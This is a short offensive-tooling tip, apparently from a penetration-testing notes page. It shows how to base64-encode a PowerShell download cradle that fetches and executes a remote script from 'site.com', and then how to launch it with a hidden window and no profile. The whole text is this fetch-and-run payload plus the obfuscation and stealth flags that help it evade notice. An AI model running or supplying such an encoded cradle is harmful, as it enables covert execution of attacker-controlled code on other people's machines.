A ton of helpful tools
In a terminal run the following command to encode your powershell one-liner
$ echo -n "IEX(New-Object Net.WebClient).downloadString('http://site.com/script.js')" | iconv -t UTF-16LE | base64 -w 0
Now in Powershell run the following command to test encoding:
powershell -w hidden -nop -enc <BASE_64_STRING>